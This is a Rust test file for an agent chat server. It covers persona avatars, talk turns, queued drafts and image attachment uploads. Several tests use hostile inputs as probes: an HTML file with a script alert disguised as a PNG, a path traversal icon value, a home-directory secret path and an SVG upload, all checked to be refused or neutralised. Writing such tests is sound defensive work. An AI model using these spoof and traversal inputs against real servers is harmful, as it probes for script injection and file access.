14046 let spoof = dir.path().join("spoof.png");
14047 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14048 let big = dir.path().join("big.png");
14049 let mut bytes = tiny_png();
14050 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14051 std::fs::write(&big, bytes).unwrap();
14052 let missing = dir.path().join("missing.png");
14053 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14054 let extra = format!(
14055 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14056 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14057 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14058 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14059 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14060 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14061 uri(&good),
14062 uri(&spoof),
14063 uri(&big),
14064 uri(&missing),
14065 );
14066 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14067
14068 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14069 assert_eq!(
14070 (status, ct.as_str(), nosniff),
14071 (StatusCode::OK, "image/png", true)
14072 );
14073 assert_eq!(body, tiny_png());
14074 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14075 assert_eq!(ct, "image/png", "data URI");
14076
14077 for p in ["misato", "asuka", "shinji", "magi"] {
14078 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14079 assert_eq!(
14080 (status, ct.as_str(), csp),
14081 (StatusCode::OK, "image/svg+xml", true),
14082 "{p}"
14083 );
14084 assert!(body.starts_with(b"<svg"), "{p}");
14085 }
14086 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14088 assert_eq!(ct, "image/svg+xml");
14089 }
14090
14091 #[tokio::test]
14092 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14093 let oversized = format!(
14094 "data:image/png;base64,{}",
14095 "A".repeat(persona_icon::ICON_MAX_BYTES)
14096 );
14097 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14098 let extra = format!(
14099 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14100 );
14101 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14102 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14103 .await
14104 .expect("detail with invalid icon");
14105 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14106 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14107 assert_eq!(status, StatusCode::OK);
14108 assert_eq!(ct, "image/svg+xml");
14109 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14110 let Json(view) = talk_persona(
14111 State(Arc::clone(&ui)),
14112 Path(id.clone()),
14113 Json(TalkPersona {
14114 persona: "custom".into(),
14115 }),
14116 )
14117 .await
14118 .expect("persona switch with invalid icon");
14119 assert_eq!(view.talk.persona, "custom");
14120 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14121 }
14122 }
14123
14124 #[tokio::test]
14125 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14126 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14127 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14128 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14129 assert_eq!(
14130 (status, ct.as_str(), nosniff, csp),
14131 (StatusCode::OK, "image/svg+xml", true, true)
14132 );
14133 }
14134
14135 #[tokio::test]
14136 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14137 let (_t, _h, ui, id, _repo) =
14138 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14139 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14140 .await
14141 .expect("detail");
14142 let json = serde_json::to_string(&detail).unwrap();
14143 assert!(
14144 !json.contains("secret"),
14145 "the icon setting must not leak: {json}"
14146 );
14147 assert!(
14148 detail
14149 .view
14150 .persona_avatar
14151 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14152 );
14153 assert_eq!(
14154 detail.view.operator_avatar,
14155 format!(
14156 "/avatars/operator.svg?v={}",
14157 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14158 )
14159 );
14160 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14161 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14162 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14163 assert!(rei.avatar.contains("persona=rei&v="));
14164 assert_ne!(
14165 rei.avatar.split("&v=").nth(1),
14166 plain.avatar.split("&v=").nth(1)
14167 );
14168 }
14169
14170 #[tokio::test]
14171 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14172 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14173 let cfg = config_for(&repo).await.unwrap();
14174 for arrived in [false, true] {
14175 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14176 let observed = ui.queued_generation(&id);
14177 let talk = ui.talks.get(&id).unwrap();
14178 if arrived {
14179 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14180 }
14181 let mut settling = std::pin::pin!(settle_settings_turn(
14182 talk,
14183 ui.talks.clone(),
14184 cfg.clone(),
14185 id.clone(),
14186 turn,
14187 observed
14188 ));
14189 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14190 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14191 assert_eq!(first.is_pending(), arrived);
14192 if arrived {
14193 assert!(!settling.await);
14194 }
14195 assert!(!ui.is_thinking(&id));
14196 }
14197 }
14198
14199 #[tokio::test]
14200 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14201 let tmp = TempDir::new().expect("tempdir");
14202 let repo = tmp.path().join("repo");
14203 std::fs::create_dir_all(&repo).expect("repo dir");
14204 std::fs::write(
14205 repo.join("magi.toml"),
14206 format!(
14207 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14208 ),
14209 )
14210 .expect("write magi.toml");
14211 let home = TempDir::new().expect("temp home");
14212 let talks = Talks::at(home.path().join("talks"));
14213 let ui = Arc::new(
14214 Ui::new(
14215 Queue::at(home.path().join("queue")),
14216 Questions::at(home.path().join("questions")),
14217 talks.clone(),
14218 home.path().join("runs"),
14219 home.path().to_path_buf(),
14220 repo.clone(),
14221 )
14222 .with_worktrees_root(home.path().join("wt")),
14223 );
14224 let cfg = config_for(&repo).await.expect("discover config");
14225 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14226 let id = talk.id.clone();
14227 let call = |persona: &str| {
14228 talk_persona(
14229 State(Arc::clone(&ui)),
14230 Path(id.clone()),
14231 Json(TalkPersona {
14232 persona: persona.to_owned(),
14233 }),
14234 )
14235 };
14236
14237 let unknown = call("nobody").await.expect_err("unknown persona");
14238 assert_eq!(
14239 unknown.status,
14240 StatusCode::BAD_REQUEST,
14241 "{}",
14242 unknown.message
14243 );
14244
14245 {
14246 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14249 let busy = call("rei").await.expect_err("busy talk");
14250 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14251 assert!(
14252 busy.message.contains("a talk turn is running"),
14253 "{}",
14254 busy.message
14255 );
14256 drop(guard);
14257 }
14258 assert_eq!(talks.get(&id).expect("reload").persona, "");
14259
14260 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14261 assert_eq!(view.talk.persona, "gendo");
14262 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14263 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14264 for chosen in ["default", "gendo", "rei", "gendo"] {
14266 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14267 assert!(!view.thinking);
14268 assert!(!ui.is_thinking(&id));
14269 }
14270
14271 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14272 .await
14273 .expect("detail");
14274 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14275 assert_eq!(ids.first(), Some(&"default"));
14276 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14277
14278 let Json(view) = call("default").await.expect("back to default");
14279 assert_eq!(view.talk.persona, "");
14280
14281 let mut closed = talks.get(&id).expect("reload");
14282 talk::close(&mut closed, &talks).expect("close");
14283 let refused = call("rei").await.expect_err("closed talk");
14284 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14285 assert!(
14286 refused.message.contains("takes no more turns"),
14287 "{}",
14288 refused.message
14289 );
14290 }
14291
14292 #[tokio::test]
14293 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14294 let f = Fixture::start().await;
14295 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14296 let queue = f.queue();
14297 let mut mine = Task::new(
14298 "rename the loader".to_owned(),
14299 "rename the loader".to_owned(),
14300 PathBuf::from("/repo/magi"),
14301 Source::Agent {
14302 run: talk_id.clone(),
14303 node: "chat".to_owned(),
14304 },
14305 );
14306 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14307 assert_eq!(empty["task_progress"]["state"], "none");
14308 assert_eq!(empty["task_progress"]["total"], 0);
14309 queue.put(&mut mine).expect("file the task");
14310 let mut theirs = Task::new(
14311 "unrelated".to_owned(),
14312 "unrelated".to_owned(),
14313 PathBuf::from("/repo/magi"),
14314 Source::Human,
14315 );
14316 theirs.origin_chat = Some(talk_id.clone());
14318 queue.put(&mut theirs).expect("file the task");
14319
14320 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14321 assert_eq!(res.status, 200, "{}", res.body);
14322 let body = res.json();
14323 assert_eq!(
14324 body["status"], "open",
14325 "filing a task does not close a talk"
14326 );
14327 let tasks = body["tasks"].as_array().expect("tasks array");
14328 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14329 assert_eq!(tasks[0]["id"], mine.id);
14330 for status in [
14331 TaskStatus::Queued,
14332 TaskStatus::Running,
14333 TaskStatus::Held,
14334 TaskStatus::Failed,
14335 TaskStatus::Blocked,
14336 TaskStatus::Parked,
14337 TaskStatus::Done,
14338 TaskStatus::Queued,
14339 ] {
14340 mine.status = status;
14341 queue.put(&mut mine).expect("update status");
14342 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14343 let progress = &detail["task_progress"];
14344 assert_eq!(progress["total"], 1);
14345 assert_eq!(progress["counts"][status.as_str()], 1);
14346 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14347 assert_eq!(detail["status"], "open", "completion never closes the chat");
14348 if status == TaskStatus::Done {
14349 assert_eq!(progress["state"], "complete");
14350 assert_eq!(progress["done"], 1);
14351 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14352 } else {
14353 assert_eq!(progress["state"], "incomplete");
14354 assert_eq!(progress["done"], 0);
14355 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14356 }
14357 }
14358 }
14359
14360 #[test]
14361 fn talk_task_progress_counts_mixed_statuses() {
14362 let mut tasks: Vec<_> = [
14363 TaskStatus::Queued,
14364 TaskStatus::Running,
14365 TaskStatus::Held,
14366 TaskStatus::Failed,
14367 TaskStatus::Blocked,
14368 TaskStatus::Parked,
14369 TaskStatus::Done,
14370 ]
14371 .into_iter()
14372 .map(|status| {
14373 let mut task = Task::new(
14374 "task".into(),
14375 "task".into(),
14376 PathBuf::from("/repo"),
14377 Source::Human,
14378 );
14379 task.status = status;
14380 task
14381 })
14382 .collect();
14383 let progress = talk_task_progress(&tasks);
14384 assert_eq!(progress.state, "incomplete");
14385 assert_eq!(progress.total, 7);
14386 assert_eq!(progress.done, 1);
14387 assert_eq!(progress.unfinished_ids.len(), 6);
14388 assert!(progress.counts.values().all(|count| *count == 1));
14389 assert_eq!(
14390 progress.unfinished_ids,
14391 tasks[..6]
14392 .iter()
14393 .map(|task| task.id.clone())
14394 .collect::<Vec<_>>()
14395 );
14396
14397 for task in &mut tasks {
14398 task.status = TaskStatus::Done;
14399 }
14400 let complete = talk_task_progress(&tasks);
14401 assert_eq!(complete.state, "complete");
14402 assert_eq!(complete.done, 7);
14403 assert!(complete.unfinished_ids.is_empty());
14404 tasks[0].status = TaskStatus::Queued;
14405 let requeued = talk_task_progress(&tasks);
14406 assert_eq!(requeued.state, "incomplete");
14407 assert_eq!(requeued.done, 6);
14408 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14409
14410 let empty = talk_task_progress(&[]);
14411 assert_eq!(empty.state, "none");
14412 assert_eq!(empty.total, 0);
14413 assert_eq!(empty.done, 0);
14414 assert!(empty.unfinished_ids.is_empty());
14415 assert!(empty.counts.values().all(|count| *count == 0));
14416 }
14417
14418 #[tokio::test]
14419 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14420 let (_tmp, _repo, f) = talk_fixture().await;
14421 let id = f.post("/api/talks", None).await.json()["id"]
14422 .as_str()
14423 .expect("id")
14424 .to_owned();
14425
14426 let res = f
14427 .post(
14428 &format!("/api/talks/{id}/say"),
14429 Some(r#"{"text":"what does the queue module do?"}"#),
14430 )
14431 .await;
14432 assert_eq!(res.status, 202, "{}", res.body);
14433 let queued = res.json();
14434 let turns = queued["turns"].as_array().expect("turns array");
14435 assert_eq!(
14436 turns.len(),
14437 1,
14438 "the answer reflects only what is on disk the instant it is sent, \
14439 before the agent's turn - which can run for the whole of \
14440 `[graph] timeout_talk` - has a chance to land: {queued}"
14441 );
14442 assert_eq!(turns[0]["who"], "operator");
14443 assert_eq!(turns[0]["body"], "what does the queue module do?");
14444 assert_eq!(
14445 queued["thinking"], true,
14446 "the accepted response exposes the background turn claim: {queued}"
14447 );
14448
14449 let mut turns_after = 1;
14450 for _ in 0..SETTLE_STEPS {
14451 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14452 turns_after = detail["turns"].as_array().expect("turns array").len();
14453 if turns_after == 2 {
14454 break;
14455 }
14456 tokio::time::sleep(Duration::from_millis(10)).await;
14457 }
14458 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14459 }
14460
14461 #[tokio::test]
14488 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14489 let tmp = TempDir::new().expect("tempdir");
14490 let repo = tmp.path().join("repo");
14491 std::fs::create_dir_all(&repo).expect("repo dir");
14492 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14493 let home = TempDir::new().expect("temp home");
14494 let talks = Talks::at(home.path().join("talks"));
14495 let ui = Arc::new(
14496 Ui::new(
14497 Queue::at(home.path().join("queue")),
14498 Questions::at(home.path().join("questions")),
14499 talks.clone(),
14500 home.path().join("runs"),
14501 home.path().to_path_buf(),
14502 repo.clone(),
14503 )
14504 .with_worktrees_root(home.path().join("wt")),
14505 );
14506 let cfg = config_for(&repo).await.expect("discover config");
14507
14508 for delay in 0..40u32 {
14509 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14510 let id = talk.id.clone();
14511
14512 let handler = tokio::spawn(talk_say(
14513 State(Arc::clone(&ui)),
14514 Path(id.clone()),
14515 Ok(Json(NewTalkTurn {
14516 reply_to: None,
14517 text: "what does the queue module do?".to_owned(),
14518 attachments: Vec::new(),
14519 })),
14520 ));
14521 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14522 handler.abort();
14523 let _ = handler.await;
14526
14527 let mut turns = 0;
14528 for _ in 0..SETTLE_STEPS {
14529 if let Ok(fresh) = talks.get(&id) {
14530 turns = fresh.turns.len();
14531 if turns != 1 {
14532 break;
14533 }
14534 }
14535 tokio::time::sleep(Duration::from_millis(10)).await;
14536 }
14537 assert_ne!(
14538 turns, 1,
14539 "delay {delay}: talk {id} recorded the operator's turn but \
14540 the agent never answered - the reply task was never \
14541 started after the handler future was dropped"
14542 );
14543 }
14544 }
14545
14546 #[tokio::test]
14591 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14592 let tmp = TempDir::new().expect("tempdir");
14593 let repo = tmp.path().join("repo");
14594 std::fs::create_dir_all(&repo).expect("repo dir");
14595 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14596 let home = TempDir::new().expect("temp home");
14597 let talks = Talks::at(home.path().join("talks"));
14598 let ui = Arc::new(
14599 Ui::new(
14600 Queue::at(home.path().join("queue")),
14601 Questions::at(home.path().join("questions")),
14602 talks.clone(),
14603 home.path().join("runs"),
14604 home.path().to_path_buf(),
14605 repo.clone(),
14606 )
14607 .with_worktrees_root(home.path().join("wt")),
14608 );
14609 let cfg = config_for(&repo).await.expect("discover config");
14610
14611 for attempt in 0..3u32 {
14612 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14613 let id = talk.id.clone();
14614 let turn_guard = ui
14617 .begin_talk_turn(&id)
14618 .expect("claim the turn")
14619 .expect("a fresh talk owes nobody a turn");
14620
14621 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14622 let (release_tx, release_rx) = std::sync::mpsc::channel();
14623 ui.set_busy_queue_gate(BusyQueueGate {
14624 reached: reached_tx,
14625 release: release_rx,
14626 });
14627
14628 let handler = tokio::spawn(talk_say(
14629 State(Arc::clone(&ui)),
14630 Path(id.clone()),
14631 Ok(Json(NewTalkTurn {
14632 reply_to: None,
14633 text: "what does the queue module do?".to_owned(),
14634 attachments: Vec::new(),
14635 })),
14636 ));
14637
14638 tokio::time::timeout(Duration::from_secs(5), reached_rx)
14643 .await
14644 .unwrap_or_else(|_| {
14645 panic!(
14646 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14647 )
14648 })
14649 .expect("the busy branch dropped the gate without using it");
14650
14651 let running = talks.get(&id).expect("reload talk");
14658 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14659
14660 handler.abort();
14664 let _ = handler.await;
14665
14666 let _ = release_tx.send(());
14672
14673 let mut fresh = talks.get(&id).expect("reload talk");
14676 for _ in 0..SETTLE_STEPS {
14677 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14678 break;
14679 }
14680 tokio::time::sleep(Duration::from_millis(10)).await;
14681 fresh = talks.get(&id).expect("reload talk");
14682 }
14683 assert!(
14684 fresh.pending.is_empty() && fresh.turns.len() == 2,
14685 "attempt {attempt}: talk {id} left the operator's text queued \
14686 with no drainer - the reclaimed turn was dropped along with \
14687 the handler future (pending {:?}, {} turns)",
14688 fresh.pending,
14689 fresh.turns.len()
14690 );
14691 }
14692 }
14693
14694 #[tokio::test]
14695 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14696 let (_tmp, _repo, f) = talk_fixture().await;
14697 let id = f.post("/api/talks", None).await.json()["id"]
14698 .as_str()
14699 .expect("id")
14700 .to_owned();
14701 let store = f.talks();
14702 let mut recovered = store.get(&id).expect("opened talk");
14703 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14704 .expect("persist pending draft without a live turn");
14705
14706 let edited = f
14707 .post(
14708 &format!("/api/talks/{id}/pending/edit"),
14709 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14710 )
14711 .await;
14712 assert_eq!(edited.status, 200, "{}", edited.body);
14713 assert!(edited.json()["thinking"].as_bool().unwrap());
14714
14715 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14716 for _ in 0..SETTLE_STEPS {
14717 if detail["turns"].as_array().expect("turns").len() == 2 {
14718 break;
14719 }
14720 tokio::time::sleep(Duration::from_millis(10)).await;
14721 detail = f.get(&format!("/api/talks/{id}")).await.json();
14722 }
14723 let turns = detail["turns"].as_array().expect("turns");
14724 assert_eq!(
14725 turns.len(),
14726 2,
14727 "the recovered draft must run once: {detail}"
14728 );
14729 assert_eq!(turns[0]["body"], "corrected");
14730 assert_eq!(detail["pending"], "");
14731 }
14732
14733 #[tokio::test]
14734 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14735 let tmp = TempDir::new().expect("tempdir");
14736 let repo = tmp.path().join("repo");
14737 std::fs::create_dir_all(&repo).expect("repo dir");
14738 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14739 let f = Fixture::with_repo(repo).await;
14740 let id = f.post("/api/talks", None).await.json()["id"]
14741 .as_str()
14742 .expect("id")
14743 .to_owned();
14744 let store = f.talks();
14745 let mut recovered = store.get(&id).expect("opened talk");
14746 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14747 .expect("persist pending draft without a live turn");
14748
14749 let refused = f
14750 .post(
14751 &format!("/api/talks/{id}/say"),
14752 Some(r#"{"text":"new message"}"#),
14753 )
14754 .await;
14755 assert_eq!(refused.status, 409, "{}", refused.body);
14756 assert!(refused.body.contains("resume"), "{}", refused.body);
14757 let saved = store.get(&id).expect("draft remains after refusal");
14758 assert!(saved.turns.is_empty());
14759 assert_eq!(saved.pending, "saved before restart");
14760
14761 let say_path = format!("/api/talks/{id}/say");
14762 let (first, second) = tokio::join!(
14763 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14764 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14765 );
14766 assert_eq!(first.status, 409, "{}", first.body);
14767 assert_eq!(second.status, 409, "{}", second.body);
14768 let saved = store
14769 .get(&id)
14770 .expect("draft remains after concurrent refusals");
14771 assert!(saved.turns.is_empty());
14772 assert_eq!(saved.pending, "saved before restart");
14773
14774 let resumed = f
14775 .post(&format!("/api/talks/{id}/pending/resume"), None)
14776 .await;
14777 assert_eq!(resumed.status, 202, "{}", resumed.body);
14778 let duplicate = f
14779 .post(&format!("/api/talks/{id}/pending/resume"), None)
14780 .await;
14781 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14782
14783 for _ in 0..SETTLE_STEPS {
14784 if store.get(&id).expect("talk").turns.len() == 2 {
14785 break;
14786 }
14787 tokio::time::sleep(Duration::from_millis(10)).await;
14788 }
14789 let finished = store.get(&id).expect("finished talk");
14790 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14791 assert_eq!(finished.turns[0].body, "saved before restart");
14792 assert!(finished.pending.is_empty());
14793 }
14794
14795 #[tokio::test]
14796 async fn an_image_only_recovered_draft_resumes_without_text() {
14797 let (_tmp, _repo, f) = talk_fixture().await;
14798 let id = f.post("/api/talks", None).await.json()["id"]
14799 .as_str()
14800 .expect("id")
14801 .to_owned();
14802 let uploaded = f
14803 .post_bytes(
14804 &format!("/api/talks/{id}/attachments"),
14805 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14806 PNG_BYTES,
14807 )
14808 .await;
14809 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14810 let attachment = f
14811 .talks()
14812 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
14813 .expect("attachment metadata")
14814 .expect("stored attachment");
14815 let store = f.talks();
14816 let mut recovered = store.get(&id).expect("opened talk");
14817 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
14818
14819 let resumed = f
14820 .post(&format!("/api/talks/{id}/pending/resume"), None)
14821 .await;
14822 assert_eq!(resumed.status, 202, "{}", resumed.body);
14823 for _ in 0..SETTLE_STEPS {
14824 if store.get(&id).expect("talk").turns.len() == 2 {
14825 break;
14826 }
14827 tokio::time::sleep(Duration::from_millis(10)).await;
14828 }
14829 let finished = store.get(&id).expect("finished talk");
14830 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14831 assert!(finished.turns[0].body.is_empty());
14832 assert_eq!(finished.turns[0].attachments.len(), 1);
14833 assert!(finished.pending_attachments.is_empty());
14834 }
14835
14836 #[tokio::test]
14837 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
14838 let (_tmp, _repo, f) = talk_fixture().await;
14839 let id = f.post("/api/talks", None).await.json()["id"]
14840 .as_str()
14841 .expect("id")
14842 .to_owned();
14843 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14844 assert_eq!(closed.status, 200, "{}", closed.body);
14845 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14846 .expect("serialize closed talk");
14847 for (path, body) in [
14848 (format!("/api/talks/{id}/pending/resume"), None),
14849 (
14850 format!("/api/talks/{id}/pending/clear"),
14851 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14852 ),
14853 (
14854 format!("/api/talks/{id}/pending/edit"),
14855 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14856 ),
14857 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14858 ] {
14859 let response = f.post(&path, body).await;
14860 assert_eq!(response.status, 409, "{}", response.body);
14861 }
14862 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14863 .expect("serialize closed talk");
14864 assert_eq!(
14865 after_clear, before_clear,
14866 "clear must not rewrite a closed talk"
14867 );
14868 }
14869
14870 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14873
14874 #[tokio::test]
14875 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14876 let tmp = TempDir::new().expect("tempdir");
14877 let repo = tmp.path().join("repo");
14878 std::fs::create_dir_all(&repo).expect("repo dir");
14879 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14880 let f = Fixture::with_repo(repo).await;
14881 let id_a = f.post("/api/talks", None).await.json()["id"]
14882 .as_str()
14883 .unwrap()
14884 .to_owned();
14885 let id_b = f.post("/api/talks", None).await.json()["id"]
14886 .as_str()
14887 .unwrap()
14888 .to_owned();
14889
14890 let a = f
14891 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14892 .await;
14893 assert_eq!(a.status, 202, "{}", a.body);
14894 assert_eq!(a.json()["thinking"], true);
14895 let b = f
14896 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14897 .await;
14898 assert_eq!(b.status, 202, "{}", b.body);
14899 assert_eq!(b.json()["thinking"], true);
14900
14901 let listed = f.get("/api/talks").await.json();
14902 for id in [&id_a, &id_b] {
14903 let view = listed
14904 .as_array()
14905 .unwrap()
14906 .iter()
14907 .find(|talk| talk["id"] == *id)
14908 .unwrap();
14909 assert_eq!(view["thinking"], true, "{listed}");
14910 }
14911 let repeated = f
14912 .post(
14913 &format!("/api/talks/{id_a}/say"),
14914 Some(r#"{"text":"again"}"#),
14915 )
14916 .await;
14917 assert_eq!(repeated.status, 202, "{}", repeated.body);
14918 assert_eq!(repeated.json()["pending"], "again");
14919 }
14920
14921 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14924
14925 #[tokio::test]
14926 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14927 let f = Fixture::start().await;
14928 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14929
14930 let res = f
14931 .post_bytes(
14932 &format!("/api/talks/{id}/attachments"),
14933 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14934 PNG_BYTES,
14935 )
14936 .await;
14937 assert_eq!(res.status, 201, "{}", res.body);
14938 let body = res.json();
14939 assert_eq!(body["name"], "shot.png");
14940 assert_eq!(body["mime"], "image/png");
14941 assert_eq!(body["bytes"], PNG_BYTES.len());
14942 let att_id = body["id"].as_str().expect("id").to_owned();
14943 assert_eq!(
14944 att_id.len(),
14945 32,
14946 "the id must never be a client-suppliable path: {att_id}"
14947 );
14948
14949 let got = f
14950 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14951 .await;
14952 assert_eq!(got.status, 200, "{}", got.body);
14953 assert_eq!(got.header("content-type"), Some("image/png"));
14954 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14955 assert_eq!(got.bytes, PNG_BYTES);
14956 }
14957
14958 #[tokio::test]
14959 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14960 let f = Fixture::start().await;
14961 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14962
14963 let svg = f
14966 .post_bytes(
14967 &format!("/api/talks/{id}/attachments"),
14968 &[("Content-Type", "image/svg+xml")],
14969 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14970 )
14971 .await;
14972 assert!(
14973 (400..500).contains(&svg.status),
14974 "svg must be refused: {} {}",
14975 svg.status,
14976 svg.body
14977 );
14978 assert!(svg.body.contains("SVG"), "{}", svg.body);
14979
14980 let text = f
14981 .post_bytes(
14982 &format!("/api/talks/{id}/attachments"),
14983 &[("Content-Type", "text/plain")],
14984 b"just some text",
14985 )
14986 .await;
14987 assert!(
14988 (400..500).contains(&text.status),
14989 "an unlisted type must be refused: {} {}",
14990 text.status,
14991 text.body
14992 );
14993
14994 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14997 let big = f
14998 .post_bytes(
14999 &format!("/api/talks/{id}/attachments"),
15000 &[("Content-Type", "image/png")],
15001 &oversized,
15002 )
15003 .await;
15004 assert_eq!(
15005 big.status,
15006 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15007 "{}",
15008 big.body
15009 );
15010 }
15011
15012 #[tokio::test]
